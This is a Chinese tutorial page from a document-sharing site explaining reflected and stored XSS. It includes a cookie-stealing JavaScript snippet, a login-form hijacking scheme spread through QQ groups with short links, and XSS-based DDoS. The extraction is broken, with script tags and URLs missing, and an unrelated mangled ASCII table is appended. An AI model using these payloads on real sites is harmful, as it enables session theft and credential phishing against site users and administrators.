《XSS跨站脚本攻击.doc》由会员分享，可在线阅读，更多相关《XSS跨站脚本攻击.doc（3页珍藏版）》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、XSS 叫跨站脚本攻击（Cross Site Script），那么XSS原本应该叫做CSS，但是由于CSS的简称已经被连级样式表 使用了，所以就换个称谓XSS。 为什么叫做跨站脚本攻击呢？它的意思就是在别人的网站上嵌入脚本，而这个脚本原本不是属于这个网站的。这个解释很直观吧。怎么嵌入脚本呢？比如这么个搜索结果页，当用户搜索test的时候，页面会显示“搜索关键词：test”这个时候，这里的test就很有可能会出现xss漏洞，如果该页面是直接将用户输入的东西“返回”到页面上，那么存在的xss漏洞就可以这样利用：输入：alert(1);那么页面就会跳出alert(1);这种XSS叫做反射性XSS。再
2、谈论另外一种场景，每个网站都有反馈框。允许用户反馈数据给后台。而这个后台一般都是管理员进行审核，会在管理后台展示。如果一个var x=new Image(); x.src=”?cookie=”+document.cookie;的反馈数据由用户输入然后这个数据“直接”返回到管理后台上，那么这个时候，管理后台管理员的cookie就被作为参数传递到 了。后面黑客就可以使用cookie来做登录管理后台了。这种XSS由于攻击代码存储进数据库了，所以叫做存储型XSS。危害一般来说，存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己，而存储型的XSS可能会影响到网站的其他用户。XSS可以如
3、上面例子说的：1 盗取cookie2 钓鱼比如我将一段代码注入进某个网站的支付页面，这段js代码做的事情是，动态控制这个支付页面的Form表单，比如将这个form表单的html替换成目标网站一个相似的html。或者另一个案例是使用反射型XSS，我预先生成一个url，这个url是一个有反射型xss漏洞的页面。比如 document.getElementById(“loginForm”).action=” ，然后我将这个页面通过qq的群邮件发给qq群中的所有人，一旦有人点击这个链接，那么就会进入微博登陆页，万一再输入用户名密码，那么这个人的用户名密码就会被盗了。当然，这个案例有个问题，url太假了
4、，怎么办？短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。3 DDOS攻击当然这个前提是有大量用户已经被XSS攻击了，所以他们浏览的页面已经被植入了代码，这个代码的作用就是循环向一个网站发送请求，如果有xss漏洞的这个网站是有大量用户的，比如微博，那么后一个被DDOS攻击的网站就真心惨了。总之，XSS的危害就在于网站的页面可以被随意嵌入js代码。ASCII码对照表ASCII码键盘ASCII 码键盘ASCII 码键盘ASCII 码键盘27ESC32SPACE33!3435#36$37%38&3940(41)42*43+4445-46.47/48049150251352453554655756857958:59;6063?6465A66B67C68D69E70F71G72H73I74J75K76L77M78N79O80P81Q82R83S84T85U86V87W88X89Y90Z9192939495_9697a98b99c100d101e102f103g104h105i106j107k108l109m110n111o112p113q114r115s116t117u118v119w120x121y122z123124|125126